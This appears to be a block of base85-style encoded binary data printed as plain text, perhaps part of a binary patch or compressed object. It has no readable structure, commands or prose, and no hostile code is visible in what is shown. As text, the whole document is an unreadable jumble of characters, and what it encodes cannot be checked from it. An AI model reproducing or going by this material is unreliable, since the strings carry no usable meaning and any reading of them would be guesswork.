zk5}*^;t$(g_Y;34`uQJoZx4QtxY|FLf*RtQ=$;P+Zw-Qv5`Q#$&cz=i-W5G~WGVUD zXjob6uZt>TaM$C9iNUS^e&SuV(FcFR&%Rn>aM#gpVsO{O$BFA|qhCG3&+B^P1{)hE zZmf-d{|G<3n~0lh{bSKW+*<3O&uzqqt>+QqFW6j<5_i-_U;H5Vhfd@@MWYyElt4)H*(KevO#=W6}qa-R6dmj4OyXl?ZF5$=Iw#6PR`*V?}jU#azv?^WW- zT7T_N5&v7QzlZ!gF|7Q;(tCqz#A!R0Y2shA9zDMQMVzr?$r8V4{TGPA)hrUfWb1jE zc5-@4mB?r$S5-tF(7CB*OA9sQjz@S5RX;_}_@+6y{5I~f?+#MRcbhPZCGzqi*D@3H(|;@`Kq{(yMj?r7?#TwnW%!Cm8@CT_H2Y$E=Q_5Wky zKiwTY_yz8z&BWk-PPGspu(cf|{tH{%XNg;FY#Z?*>)%fN$nNOZzp%6{_&jmPZvWiq zBtE)3+V>%j>lpEucKhe*mx;TqPd9Oo)%Ozj?T-G_7kGa56Mvhv>Hhg0;sF~wNDS`U z`D@}cwuZCBKiut~!#^UvxZ6J`FAu!H7|3BhuyZt@w zI&s?8Gfn&-cFzBk7~IdY8^kj<*DUe>*m?M0;yb(j^Z71uxZ7W|!N-aB*ga}5&#S#r z_xd@XxM;7>M~K(%_4mMa#P{s=*JCj;xN}lMT)NlaZ_9|w_xfu&O1x>Wzos@5Z`tdg z|67SG_S(-i;vLp!Cvo*&|JtU8c$d}G64%+<>WTO4_0P$@#0}OzP8>G)wFPmmsd#jM zC6Dzo;+%N&4OP6~%q51eRPx&3RmAXtD&kkiqX|%b5{KYwmJ`EMl|1e%h{5%FO*~ow z8XLn2P(F!6aPz*FIM4d$6NBsd+r;4dypH(wR{sWKa5V+Q;MP`1e^5S&!?)SkwdC*d zHAx(T>sd?;ZVe^G;QG8H9vyk7uSwx>gXP~9kB+|A*N@@E4qubRMLT^>1XqB1#&G!2 zc=TWH=bU_udQkr)4#Ca4D<16wt*0N4fND}W4H`R*LvY7iOZ_K&O+Rk?`SM2eROAI%F@^PF1SC5PK`aTg{0m{d41L!f0;{>>Ki$ied@b}4s>w`mB{4lTO z{(zo;?#D)O1-Ns98(``&dg27Qo;U<|P7V-*YJ!8*fUChpf8lE)I0W~6`z$q}^(1i` z)Mr}p!+vekcs$|r6F3C*43hEa+)=;gd7L=rYm#^bbX+N%2KQLt5Zu@=5rcbtzszy< z`uaF-2Cbn5CqU~=;t|j~Q#kCm^*=!ks6L59aQ(j(kCuY!%Wwl|J#pLxs_({=p!z8s zf_q$^0}+WEmDs88@co+qHO{dfe_GlkQjHBaLZ+v| z@I52A8dOt*8$e^@I05c?f{V`i^+a$fC|`z$;1?fW^3GvA0$J9d!sDQx6F3ceZcO9E zdFzS0Ky!8DKG6F6@d&6sg+p+U*Wa^FaO=bg&|FE}2kx9Gf5DGU;t*6H{E%}CT5}AC z;LgvFSOe(%cjGXz-#LFF}Ru|#Ne)@FA#&Pd6XF3*bZWF z&;L$haF6?A#KoWXeM&yfJ?+!J&pU|0jeRF^#i#w)7%{m0huoH^jnL-qi# zIS=@I&LVMmz@PKrAm{2}^y5F}agPxv4o1KH7fat2Bo%+w=aZkM{5R${a2i~eZ=rF?Wyi3 z26s+AO$>j1jWz!f@n@Yg*ed~-M@pqlq7Lq ztAD@HPdwD>U)K#2pKJB6+0GL`)9PQRT_7H5^{-=7#1~urYrIRuqpkk+;TZ9=t^Re_ z&xpaj$N3lHajTgi{<+Qd3*sxBTfL9I+8RxO-k&CMIBE4$#OYT5`f!?f&hqob8Cye^ z7#`KW(+kA#M!o-ik$Az@vq&7;yg?h!lQ#eSj}SMs`TI$nIML?sAxYwnHh;}_5_h#l zk9KfAyNP?+qKlQpy~HQ2&naSX`EL?~yJjCJ?rV!?s@PxZCl1^E{ULaWYvCckhFs#j zhx~P#Ph9YjpR16#=pny`2=Us7{5sbW7eD0JSwdX;Q1qJiJj;kHY;26U+Q!xp?|#Vc zEyQ&;S3U8*hy1;3Kk;WCioWMD?mvG_{J=xe;t#Xt2Z@^>^6PIQKEPbM7ab&SwVrLn z4?Pt9o?aLIC2``RXx)dopCpNU9qm(@+Wmf4C-GzL{ypgziDA>D?9Cn}KGyEv!+wbv+`jae ziNWnbbrBzL_xF<%#9wRo?{j;IzuxYz>5agWCi79x=GRIn~h{5fh z{*XA;?(f4tCjJR))}GQuVsQ7&OT^&zhkr^8ZlB~IiNWpXj}n95<02kwkKV6+kAETt zx3~Gv#NhVxFB5}%+@B?ekLh0eGvWz*4*Z-L?$LhxFNneI&tD;a*=j;!@Sk6Nj`(wS zjX%uu@L~TtBu1Qg*x%EV#3K*;`(f(gXae+_Hi<_-uMbl=oUrH_`t`g!q3BUfk z#2Ks45-(WIB5`PAgCzH;q`!yc6TdzgegEGrd3W#z;)0~V_6vzuC!>GTyQDB!Lk#Y9 z!kdX9_8Xo9Zy^SE4=ExBcb|+9gS+ne@-e z^~B&FuMNbdHnxnoBI#c{#fTe{{`FFvxS71}nJvVBmh|_%KPLwFTIB%o!&aXl?z4P9 zaXRVmtJB0`GWy<+^Z9S^2>0_xqNTdm1mo;%&t6@1xvf*Al}gf5p$Bb;RI*UJ$?i5&xLp zLtOkw)P2rdLcHGkY#@HuBmTK@FL9~ORYqL#h<~2Mh_~6;?Zh8^B%1pTKL7dEA2m6T@e|$o=QHiQx$Eg@e}-zrNGI zE_wqo=)G!CKn!}n9263RdtLEHVsNid-b4)Ub=PWQaP@15!M#U&GcmaLo^K%rci$)? z2KTxpLR?{MixDR}qYYKen5=r1ez3^Yj`KIUJK1z)7*i+&9; z;=~v2{ze>r(Z4SXj#6{fYKRj@{qZJ=M~?c}S1ID~s6VdY81={exrz}dj@j!g;*n$i ze5Q!QWByozFH!%c=&Hw-yfugsC%)wGS4rZLFZum}6mj?^e;$G_Q~zauyfNa$m;E}E z#3Nt!?_pD_>9S+*;yKghk3CM@+T|bjHsXZklf?hl-?d@Q=R<)(5{u z3>&udz95Gf+}K=Va6Ml|46gpw#NcX{6N9T+L7dkeeg9Fe_k3db&ZB%r`P;+=-FDw5 zF6{RA-Zv71yN|tz81DWPugz8ygS&66AqF?sn~A~Quiioo?*33j4DS7Dg!rx9{yz3L z;^OY;yJD{>3QCCA+q@fyH+B2huA7P9*Bw1D%C-D{V)&mga$ns-4DLPVR$`bx8Qc?m zfEe5w?jr{G-m`)j-23zxaYJ`Bb&B&DCvNWc_k(`+K&-89QW@d;>3yL(F^(x zNs@TvxPOkNh{NN)XK;eCC;WXWMw}ql`?w_W$O->^P7#ME{PR5cD)nFWYl{&lzUuQy z#b2{^evSIC`JO=!^*vTkoapiQv?OuZV{7Oo-)q++aoB75uQT@R{vHw|PJG>Jh)2He z`=^LQ%Lm^e{)SyICpkYS{XHZ?TyfI+5Qiu29G;@)l)vXhh$~L{dqs@6@036Ge&Uf+ z{ye9M!&5f)o78{PdJ>1g>wMhq6~ujy`^Tl9IQ_U^+cfda3wQyJr%I{dQk{g7^tL&)*{cmcNe$PZB?A_sP@5r)|yOCjPdapYITV z$JRVRJmC8WgT#Mh=l=}x8Gp`$v#jB)zuzW_!?S*E!FP$jYdyb5{JsC5r8AF@qRQHE zk)VL6L_k4MlTVz%QO9Il()2~A8$rP}5h4jmpqoWOMH811W?Z@)odE?WVNp<)ZUh8z zN!$R}ZbwHLw`7D7MwD&^0}7fbA}DBm&$;*f@&4Y2^E-9x+*`M9Ri&#NZL^8|Cbw?; zaJtFO$qXDcxxRbNaI)iO%!-;inTOUrZ({&yW)@hyV$yu-a zg@g6l=F7xic5V7_`ek>lGjQ;-Zu<)Sn)dy5@?Y0{IQ_cI$-u$u?wERSkn@Ji_u=3T zJuYeDX^q48rCrVU!|T$nFYDp7#xroB`CbOz;GU1Xjc|)TFSNp2^qq~Z@c%Ua3H$oQ z#eF#VMBm5Q#y#FP*G_M^aGQH>DuU14=AN6*f-m3Zo>{Jd%QRjN$F{l88RKx>Huo+~ zJ$$FOa~C{A^Jl_~bYF|%W!v1d@Z)f>P1m$f;m_QDz3tSz-PP&CGq$_W@n^yf+ugHv zBiyvz)z%EBx4X~iGjPjx*RNLiqwVf_a}$j0-@7)$+clnrk&WkIWS>tzhri$Mo`3hj z$iA=g1AK71duIFz4s=^DOAT4qmkivJb?;`h!dtTEy?+UxpKgVNtQ%)92j_GyeNKNr zcXPvsgB?02cM{*})*l}Z+H}tEBEHMrtN3uR%dO$wZsNOjy@hA&cI(?rxM8yR{?LQfuB&jc zSNHV|ZGNM*!HIA5`UR)I(fc|$_{NQo_bvI~y4s>}`ddA(;ow^x|90M=X?Hm*+RsZM z`CP`w)5v~4g$Kxv?MmWE#yo=u$ll960VDg|y$VM5^PSc3Q|)d{o`#z=znOg@d1m+V z0NKxao`aFSKYt!x=W@LD@XNaGD=@O3bG=GCNIrA%@c`N9i`QUepD$jAk$o0Wam;EMv>)tyq69m+s8LyWb6DVjO^z=Z^6jc{5Fj2bH~46WbZNFfst)z z1N?98*Sj#X&o%GC?`!-67}>e{A$7L6Z8La)?A&gJ|D*XI!JD+U&G3KQ-JJOt{!H_? z!&$8%2P6Bp+|OZTpQpZnk^Ou14j9?`cfw!lJZXcG?aMA0+0VRoGq$K@ZKrd6JV1Ht zcs}|HM)q&ZU&DKJtoFj+XwBck$c|wn^A5dF_zwQg&2#U2&WrE$+=LU~yM6g^;XYSG(LQqa={*vh*yqN_hl7234gG=V zl>KhbciPW$%6=EmgOTk^KHO!$YriYpeZQ;iXt>9IS5E=lYrh-w-f*A&ZeM-j{@UhA zaN&M8hl}6=`(6E~!2|cZI!}ks-0$YhS#YuLw*)?Sznc%|!J++b4iAC{?{{#N#civUOHCj(C9NVw=>hQ$< zZq84FCzB)h?Ni_zb$q76bvi!v@NN6u`g1!xZNHlX)8RY!yL0U>IH7&?;Tc-r9luWwV!u*QFutHeaG0l2)?M)z2iC* z9$M<&KOY7UFMY?pb3OvTs?@!6UIv$GemPuI>i+gyTN)&4U7J1})M|VzJhs&S4cQw9 zk1MtBk9jdTrZvRj2Cc0To~PT+hac7&9)Tax`~~c5fveMpg9WAbZ|2@Yc$IFu8eXmW zPr^@X&KmeB?aR|}ljb+W&uQPEho9GNUw~iGZC`|6Dz)!~duvOBE^ABe{Z&`E``S|b z{_W9lVr{AYyO|IFZLMqn@9?a(rS`q|+3=jTrS?7Ex$uIurS{$Ch47==&SP+LZK-{i zJ_Rq+b{>bHTw7{CJ6HoFdms1|{EW8wEd0XSQu~hXi}1^9-T1!(zpCxO2EU>CX&Bkh z6f*EXbzg76|I(V@fj4UYzv1_^=J#P_$K(UJMQd(_ksXKsz?-z@%`mcK^e~6^!hB`x-{}Gm$+ovg5xOMs}RP zfsw8GTNv3o+hJtqa0mRIZu>pFU+2J&@ULr2?Po&)jO=GU-a2@l&a3rsTIX}7G|11m z8al&WGNtxi?yhjROsRbb^(eS|rqsS`dNkZ4h z56G0-ce77}2WtFu7}-Al4n8wex>DXHJ_|0+xIUJ^=VnUnd%Wkt=V#nFl)|A*sePY( z5Ii{J#`Xd@l5xi|3J=Yc+Rx60!NWB^0xrwAzL&$JGNtx&w+gsY`&9+kXnrjm(|Y3Y z#7wFEtZEWGIa6xCS26{@F;i+k*P9C0W!!PEhi}Wc`EWZtE#t<2I(%owor8D5iAezv$9-jgY{@5Aqf z+cm!fKA<%mgae&d-kb27I{*I(zol#M+weQO_HKYT=z6;meoxPl_u);Nvl;$a<6Gb@ z+U8dHf7<3J@F$wH4c?|XpTeJN&S&sv+U9mRTk5`xk%M<=d?);+=C^U4w&{5aAJOLK z&yjGKHa%zI?rrW|I~wlMrspZ#tIeG|z2QD>Zk_21_ixj47B19y5j>!+)P8sAGeTRGmT&6XY z!=u{t+=MIJ+&WVQ*R;9$Rtv|phB!R2P0vmE+BP?a*TIw9^gM-cY;$YERJg89&r|p| zjo%JWYt!=-zEj8fE;!NVj;Rmdr(=6RJfls|Q+SrvKO3H>?aYT4P_ulVz7T#?_w^XO zNXKL`oNRORIR!6g-0XP@zo0oU!s~Qw*Tb*2={X3ebxbnwTiW-x;SD-xHp1`eSiKLo zXgjU&CY>9b;Vo@?KEm6y&QIabw1(|)R*zi{-l6^73GZsta}(a9ec21QYkmiOpsm!t z^KcLjbX#v1W4p^8FCR|sa&tZfr+2wA&%iCa+ z@7v|Z{0I2JE_Y2o2p`_%j@K_Rve)HbVPx+!0~pyg(Ay1v<#N2Q;cxWZ{1*OJ*NXPi z9$veR7vP0R?p=%UVkB*r;1MMEu2H-U$$rc67?S&hI9`Wjp48(BB=^HU-hiZ?Mm&k6 z?IQA_a2?7AIZBJ1$ZHnwY>;0 zMsiIr!6Qhn(NVk%Njv3u49UG;9Ir!ieXPe5NZyO{@dhOCbu{8h^eyl0r0^!R>&i~Q zX~qL&$2Sf8)vTw9_Yr?I~^|8ZA;*Db=&jc^WE5brPM#fwG+h? zNWLTH<7p)K5*a)|_WE)WjO@MEP$RO*U}W356-M^{`8H}s68G@{*|EAEPPk+3`7pBYDcuVr zdr$sX_&(k5{qW!2{PbqP$lfc?gpuvb12D4pzz@R6J{Qb_k-ZypVg074Q=}wyWSLwaqm! zviHwV!N?xRr(tC86`z5T&3P7XYIoPfX8476x9+_Nzoa>9VPyaQybeb8esVqhvex+u zjBNX_!pQdJHTZRR-g$4p>2`OG%fN4HZU2Oky~lnFM)rQ@Z5Y{ShkwBvbYC0cciY|i z`5uhyn7GK*AK(U zJ}*B4BYWSw07h;;!wWmyHRVxwk?wafjO_Wl1V;85VJVF4`IUr`9sd-(OvmbRc)7N} z0$!|9y{KczK44L_sf_AK1g;pT8N{G8VOJiJb8UJt*lZN37d z3GzMtS7GGlHvGEQ^9G#maOY75ZqYVd;Z54d&F~gIE?ePkdMrMLvwD1UFtXS5&tYVb z%NOttJr+CRFLm2Cc$fBTH@rvVdpk;FNa~E^L3@W=w>w~DkJooFvUBo#IQY)Z8Si^| zpPMJ%5Ac3BKfNE}18$ys2jQPxZQddHkeesoVfYs}2fSb5K;vF0=;4Lzdlv<8qEqO^ zBX~#4?-UBsokE@7gfnoUaW5|vrU z{7}ui{9QBy2VLC0ysmK9(8d$km)8wGTI0urg6uIN`;J)-4vx|Iv7sPxY-s=cv=fDg z9~-jorHp_R8u#IJfy>Vngn|tPp+Ehb{EhIx3qnhlcRJO37Y;P;9Ty4;k8}A&aBy76 zeqX@rNxY}V;YiO==@GJDI5=MGIUy7jpAb522G6Y}aPowZeGf1NXHRfBIXKX`*9Yzs z>isVB*6R!R4cT|Ry%X8jiMlU1I5A}3ulD+df>^)MLmT*;a2!tb3(fh6`h7Ur&mFrI zoYtHSoIO?ddn)am8hS^*PvH%q{Q=rOoEQ+gbcXx}3!EMhdQslV$-r5S=ior|z0=^+ zLhkRPzhT?ox_12Evh8m}1zGCJz`<|b_;>?D!Qp`+`ySvga4;}5>fhver!!V(xou0% zB7RoLzT@rv9{zpkukSIo-r4Zkq0Lf{R}6<-zBh>e4hq?Khf;8QQ0SLV`Dc0=IIHm- z9BAANhk~X{+_ue^go6E-gzWpGKf(tt33XeUceZyBMmGKv99$Bz?;3f-;o%|s{Sj{j z{T-qGg_9#f_I;rgoE;Gwy@P(`;6UTvrHu1sF2CrqP_W~&kbQS(CmdWBvhOK*mvio1 z?v7noxZ(0pW19Kj2q!NOZT|pH!DyKryJax4Igi6>jc4F}8vg-4r18UWpmFaC_zE4v zE8#0c_I*_ED%u(8;+c`eM}~U+N5+2?^^bBj6v63Hnga(K_bTXnMd;Oy)R}{W3fC9! z8s_RXZVtrZ>@{xN92{ue8%^IwhwOI{y26`AhwOV+o8hd+b8s+PYp!I@REAP3cptR{ zUR4>g?}e_0(;CmfL8azb(N0z9O&P-+98_t13_K=ezenIz!__(tHT1W}{l<&Jb+xXYdN@(*#>9tLYR(gIpxb(5LqV^x zA^RPx-f&`UX#WZH(H9=)+VRJcKQ5G*MPIxab;h(#cwj8FZatqTo(?Bsp_e}4*!gf$ z<0*KR##h7XC2rfy62@nVYcmJ$SmNs32?t9;i)YDNv6Ou+b;qR$jx2TOLKKcIb@MO| zCzfiRu&?>|!pN>~e}$78Pr+%;&%oKG?!3#vLCUq`E#rE$EM(vDD}aw*=B_m-z4fx%=Ie+Z_xNgIIG*{ z;2q0ce|N&WmbrPm8{VV&d*ODitpol}Cm0BJOURdtdoEPDB%iXnUJ-lJL8>@|Q%W^k9t?;Jhq4LLBKR3f$mb>+T zE4*#FTdzKa+qKOO_!n*SS2$R%*QOPW^9ol(5nQ&yoiF8Zzm`UH>t)HNp!te<7UIcnV&%BDD1j-Y;DZKdtRN12<`Y zGrVqvt8+bExYE^Dw32U|KHLP*#UJ)EyYE*Mz=a z!8@x@z-!jH_39}Y+4cWvc-c0-7>$dUE`5SOr;~AKXrM-Xiyg~3F z`<*O)#D~u`!#^yR-&l)=17v@Lt`i(Y!?(=H=Q=wC9uj_UxqJqC5jhuy=gi0-=yihc zxhQOZQ!W9c^)vX58XrdXedBxK7cUCi&re^1(-(z5nZa+TWZ*#K-cYt38a`$wzop~D z$)Vxe#q28ur-!=QGH_PoIXD;^{%DbRisubu+hJjQzvsj0VPSi}nt_9>!|wiJWSHN4 z3#YczW)WOGGMxXLy#8JZ92ptju${g~;j)q8pI7De^vdDb$Z-40yuMx>9zQbt?P_=e zJaJ@r;4^GH39cI%K7S2d4<|;3?~rzUc*e-^+*NtUdo$r#Bg6k#Nt?6bhLPdzPti^z zoE#axVl_D_xM^hg)ivZa!|9P>vl`C8EhEFvJVQ<^oE;f{UfR#W?d(go?SO-k;Ym;D zoy2uH9P}6!4#~a>;69_mhZmCH7cLwX?z>C+4i6j^erFr;)8XP#;WK9DGY)WMRQO`y zC|ouw{IMMeI5x`FABQK83J?61ZKuF>qr#DIX|o=lHY)t;A>z~F#Hg_Sy*M9k7#04@ zD(Nqr92NfaO6f1$G%EZ*slORcj|z{Man8Ukqry*rO*^e{mVL=M=iptV!f(oW?uOe( zg?CGB9dIxze6-|v74*F#e8yvJTL2eUxZ_m>7gvN2Jk7QxaHJyKh$4;ig0`;_mhoqvcet56x>u19{ChG&2YLR{Es!# z7r3P&{AX#W70yAQCg^_vFJ3mEpxnkK+g@E5r3EI0ZLVhA+udLo*yy zy7SkoqAyk9vYq4tI4SjAM*>pi&y{`SBJYTA-@EU zREO{Sg1$uI;nm?b8LJU+S#|iRHrgqNW7XmQJEV_rU3K`nC*XQGQ5}BnE86klhU)NF zU%-uUvO0X+qqLKPo2tWK$}wt&)79a>JVrbNZ>SDGn}s*RE!E+dOBm-?I9naQVF~dZ z++H1C`vo<3z(IBR)<?9J8)rb`1mr~DT0e@!+XDw`36U7!`u5(TNEy<4Zo5mUJl1x_2Gtb z?zlI?fyTWU9MkK2Jk0Mtg<}(_xhvcw?%FJX`^3Zcw^;kag&Hq{Bk{2PK2a1di-+xZ zh{`2C-fbHl&$%!@e49s`BjB>};iZ3-@rNrlrwWdZch~MXTsPib)9c}BiF<#6Q$cYjg^$0mgBclzRR-2}HT z)x(Ji?moeXg9$pG6XA(^FEokqnH2u~0q#}0!jVaCY@_h-N#S3mwh?eJN$)+bg|F4I zy$+tN_gYin8^dQmNITwCxK4BG;c2?B>2RR=o(Vk9TrT;Y;3GXVMYs#hx0e3)AopGU z;UdqhlKB6@XL;srVSbS=KsNtu7=14BVz|UJzY6~WKF2ftXVK2N@F34zIE#1~HroDR zII1~AU}WpL2p;O0YRMl4U*ef*!o%Say6vSfvhmAcG+%Nqhmqa(3iv9|JSXuoxLoVJ z8m{uphY}wHkJESzzE10(3}3JNx&cOZUpK8k?s4<@B`Yf2jND|nFAv` zZgb&zp4l^t`{DWU!&=WH@B+_tpG|xr{Fv6T2wtk~C*jAnp5^cgJw_|xCp2djjO?*n z4L_+htbw1>_|xz+TIaJcvd6s%Mz&wg@N;_Xo`+x1v3(IWvcoa_{yDi>;{zsdQcoO{xr|>4!>!JLUoAER%firj($-Z)UJCZs( z@BrB{^g5X!(#c%;5ZARRJfxEw^NZlJPOhGEcvL4h$131!I=OKk4Oez@=Xe!7rjt8= ztKphXuKikgY$rPo-Z(hc$(>(u7}@naYvHL{!%gtb z8n1)z(rxdC@6mVyMz(z){=4pX2KT$19E}MAYfy zNhIe;3Qr@M4;eg*WZvfR#22m|A5S7_CxxexoU<7`i)6jZ;Q?Cw5bN*`>OpU?uOd8x z?EJ^ekQ}3OJci`liQ{!h#;_hwplwnoJ_8+uXW|Rc@&Cv_c_E%eGM`iUDs&F<)p!#s zgPZX*nhIy|4M@(-jd%-sfOspu1w8?8#j{A}e-3X)vNm?$0eXuZZzqiGT>6qak&M5O zHz1iOjd&8tzEXG-%CT)To<`D_4Bmod{9ExXlJzHt2S~=>Yhw(Nv|ofrkerWEJcfRu z%{ZPw{Tdi6Jc*?J6rM&hh8aAI6zS232Cz0f*@HCQno55R<)Ygh; zk<^^S+mT(1@BrEC2b9jL48r4qDcdnfb-j1ZU z4m?0M=X>fzGM+_v0!iG*8<31uBi@9hFU@!w**Swp_PO?>_;4g^#R$9%$$T!yE9KwB ztMC}I>kmE|$vQ9vuS0Uq*5lKVtOL{W1d?&~@g$PtmBO2locqmq8rky#Z$VOjE1pF% zS95qfvU3;@kgNmV4{+e>_q;r=t$D^i%S7Qsp7}B+pM${3JY%0(QgB*xGH_PoIXKX` zmrqW(0hK`@rKnn|I2|pU~MPP!9I-Rg+!L zYCMgm(`E+Wpz)3P79`tl#j_gE;Q^9-Zwh>q?(1gw4&B!@7}*-8!wDq6Yv<$1&gRK- z{>Gkyn>xF`G{diUHXlfvufb`}$-oCXndMnEB8vO*L*_V_5GyOu6l@8d}%@f4m$lApn|8qZ1m zh9m5J$lzHd`8hmtqxJ=lA&JNFB$9SgcpAm?^ZI4*K;zz2SR`X|6OQb--OSh`nR`We z1WB7wyi(&;cpBM0;#nl~KZgfM_UqNrMt*?s+qI;ZP6;0Yu-K7JpP`tQe+NX8+Br;+4j@W`KC`%yfB zB;UuANODqmTH_f!xJSn-K|M(Fb9jL482WI7>xOd^`wrTklA?i)r1%XK-Fuleny_IrbaI77s4(YKDKq=U-RAS9Uf3Vx9M{g3DZv zR}Np@)qKJA*Bc3s>T2>D;R^T~%^3|>b~Ps-op-WV1&`@!PHkk3t%fIeHJ-$$z&Ca^ z7s$3#;hVae+D7(uGhC}!FFtX$DB#dl)4UBC4Pr=B>pN6+- zo1eny_unu-KZDT+QrmVot2sFs+1fsbztwnqS5t^yVSI}40NM6CI7UCX93Kx3Y5Xvp z-_7;6b2k$l(amn_9SL{qX0{y7dkaUw$7xPaxK}sxwTyXh_(F~U5sq{-N6jG~g@<%A zX9!;e5A9|yn?wD>V6;QV@M0KUFMJ7H)6I=lEgb7+Cd;;Qc%rsH37)L^Q{d~nnHkdN z4RC|zG{SSbnH3VB3(xCj-V~k>FY4yTd@;PFn_1pHugF^pXLQ>)VPwbipYU56e;aPm zZCm00bTiwf&5z(s-OQmm`2)Po@P9S`V|Yt9ckH&p$d1GRx|syB=LjAkdt5$&x9PT@ z!k=|Br_81A+u^L%pMyWw{4Zc+=jRR>+4gtBUv@KpoJ(zO@Gd<@yJ2L<^D7wHdG$5C zr<n0kR8un zFtY9RhLJtrkB9plWgeDx`oe{pQv?q<%FVsg;DJZE`Exq_yQAE=odM6&{Q2<1N15lP zokw6~$94hysOCHdFFMM!$k;B1mmFo<=W^_p!bz2gvsKDfk5! z_g*9i$+_m^0kZSzB^cTMu7%ef<<`3OaQZ0Ia~^eO;5W6Mf5OP-zXc<^ZoCa6+n0aA z$mYBQZ_u2LaEr!UVPw~q|G=nN_Vp3GPxF6(_a9}hn8$kfBlRC}aUTy(=JKyr+{e-lUcnBoDlWBV@r zUUzpLc^}@PZSI7TJr-ZW-)a1Nc%N?j1AIW^2WkIj#)mQY@gUH+cQkyAyC?UKg?pIg z^W^_0D&TM91?KC6{2t(?@MQ(&ZHZqFPt^D%_}T*V@IG>`gRj^44e*T`p9&`m%$KsQ z4}uCu6nJDbT4Lwb}F3>97sCpA9>FYje0NqhyoO5>~Hr+S&c zN&IQJsh4>|xEX#y+kX*Wr!}mHU)6oR2B&pj8Tc)2^KE!TFS9|~*$BU<`+Xm7>1B3H zycOQm%XC`+Z-%#M-?zfsw4G1kY%g<$CiQ^WD*L0Qv$IC;FeT>6rN)5n{s!WlR?-aI7ioxprP!Q65a`9*N? z31+Tv2^`UQ6fQf#ydd#%ICg@$>t;9(Cp5>0lbVx)o3x!~IDLY7*6tV1o?vQZ+Z-Hd zJ6<35)yHg>_M>pDk2%q{4=4Hbr3wfpP3>&0+yNuI-)V5d z)$jRm(BHUsHco<1GWVa5$1yz_KH2=^O8y?`odOq{+4b`O5*ER~Gw%0(&!Astn8EiD zkHWDtOc%cE>c!!@Gt8`Uthe=WLUVjLd4@S%a#C>m40EY)2F{*gnj}952b%Al37=_h znIPATvuNimvrp!{4+m$N-V5bi`#tgBoAZTzIQYF8ZR2MXKif>RaX2{JEVS`r;>G4= z8;65p^NEd@z<)4(+hkwokaLa+3;S^P98)cvgM)L-eY+&*T>5*ixl`hCxZzxLK(1?z zaQa-cSmGHtIM=)`?48G0oo9x~woy27o+%RM=fC+WM6=!I!vV7S=d*5{Zzf1i2^=}! z)fR<^pKn&|;+>fhaD&Dh;Z^6m_E*D!#=TPZRqAT+;h@y@%L@??xjKC~2)TWEgNP3@ zhwS*k=|Sek3~NOO&JHpsJ<2%e;9!usP}mEz)`iVD;UYK^HVNS<91EM2a2!sA&6~nL zoD7>Ugi~-jZ1Nw2GjKL+P7}_-LD*a@>>2J8jJZy@04_AHwj#LLxY|nKh%qxHCkmGt zx8HI&W?XG?_$K3OxEV&ak99DzwbjE344Nhx30|(lU zcLDbR7n<5i=HbQ*8Hb2zjLP{NAwOc4N<0I%XuK8P6fv`^h;N2Jj+je@x4>xL7qirLJcZIt}&7+ck6nu>491A0x(*r(U<0rs zHE!U9*5kuL)O@ojpYM_k;rI?QJs0Qy)+>S|L(HJXyk{GQ6GPm(>ciO~Ztcy%yM`G1 zj^A#$eTeIC2Yg_NnKqvP^XMRqu8s1$)<40>e%A9djO_d2hhX&g;k+Ap7)Cb#7dX(k zcM-?#BG-Nf4u+b$F}A_=2>vbFmp;za{d6LYkTIM>zy;qoP(tOb8(Tx z&%=ZBwf#~Uog{UJ=!T*>$wcRe3)6BRkGh;5yB( zhwspwX)v{f_WVxM7&F zznRkrFVOfxc$LOi!yAZq<8SO6;p{N8=o0=Pu^b#|zIQQm?_yKlDKF%8z1T!hw@LY- zC_Ws0;^jp~;0ZML+We4@A3!Y=^UXm#K$7EiBL~gDHsAPofKHS)k0Op{z&@TtC6n_* zDLjq-wm9Ep@Bm4U*PR;B+1KV5NAcTG75lm!PaxTsj|WI<@Q$V(B=u+TERs5Ncz|rq zF))&Lykp@WT64k0CWIt^5Iz}6`%~~bjo0G|B<=fn&|CX;JbZ$-(+5V;NwnV=Ms`e2 zyx0^X*|rFeAn9WiPis7b2S{r0`oaD6Seyi(tou5J8qh`8F}C;&B<;_{(@4fDgSVg; zC*@z*if57RH-`sEa=gNe%^oE2y?B6Zokeg&bE0s}wd2L%gvNdNULC`~!pI)4`(R|- zxgVab`43Suvd0|{kev_zAl~TmeLO%?k2i-nk{llokZp4=aWr`{ea8c2+nEO=+pqaB zvhjyuWVd|;Ms{o$z-i6TTx_Nx+3$2bcu(`+hg-B?trwd^fy+OP^M8xGHoZ&WOWfyT z-f-6N;jV_xaF^k(hOWaoUtHYB17ydl8;op!kAk~v{?YKU!(ID5hMNeIoG6|^b`0@A z<6Z%b_D{*b&^wMCB>6smACkV`kEeUO8Zvl*dQQnd&+7#vTTgHJB(48s+Cd-6`HKh0 zo;#<|&i}dgGkAdP*q%xpNjn)lKsG)AMz)Wq!2`9Ar^9D!yckCI*p;wflx7|9@c`Lv z{{W-4*U`sw;B&Q|^Wc!~YY;qmxI6DIfYDEj$-fXraxQp(gd@Y$W4|82`E3}%HvEs_=HgpAo#r*bY0b&NTQ&Ya82wUD z&L=Rk+iruinxBIM&GANXt+~{suHkYcv#4dF4IG#XuTRe%Ro)n%%vTY78{G-b$!m|;L;{mc`6{VfquXb|- z5AM3!y_a=2aU}E5$AcD^5C1_l?Bw+ z8Ag}%;qQ}2z+Ecbe!IfmD@;bdqjWTUOoh3568ECV!aXX?RipU7gbLtZ6=vEJK4h6Meu+M_w05WJg~z2bQOP}IUPQeobl9u7F=B6 z)~gcu+zK;)N&bo6d2mQ;8w3xoFn5-98sJ?3M=H$UJbq^;3RhN`yKm?HlPVZZzpc}` z-WYgth3P3g1-`MuTr4~luG4rue3x!}H=NM856`G@@4C!{AE+?)|37*VM)sL;7L4rs zFtgz&HD?Ws%5LL1^eOlm&3_g~Hr@myyKOW4f^PdFjBNZR7}@ zcfdh~dG~7Ot#=K4javu2(dOE`(RR*Uhw~jzbM8L*|Kln-rj@RSW8of^u3rUkVWoQp zFM=bL?pQ?O>nq*-xdBd8n!E>@=RQ26(mb;yztEcrqxY9EmmYvohr}O*XIGjYONl=O zBb)P&N|Qhm_wfLoyOjI}7};$b;dzy2q{QdLk5!smgcrdmwUF!SVmMi8+7|Fknxai4 z_4s&zPFqNP8H{ZHBbR3#tB>CQRFtX$MJdAAo1sK`*i}1@j&ac3)YR+r)9ogfE2k3g)@9Qu+ zLfU@=M)tU*VKh^6GVoiP^EUjiO0!Dh@4y>%zyF5OI}(2v{y^LL5N@qBUrPKx@Mdl2 zzwj2#*$V$p#=n8vwf+wHJ8koO7}6i*=8myf5>>}v1K3?86**>*16q}w*bXpzL9gP+&^z5u^iW!{na zOE5ZL`nVQG-${HOyuQkuvEumi|%VH 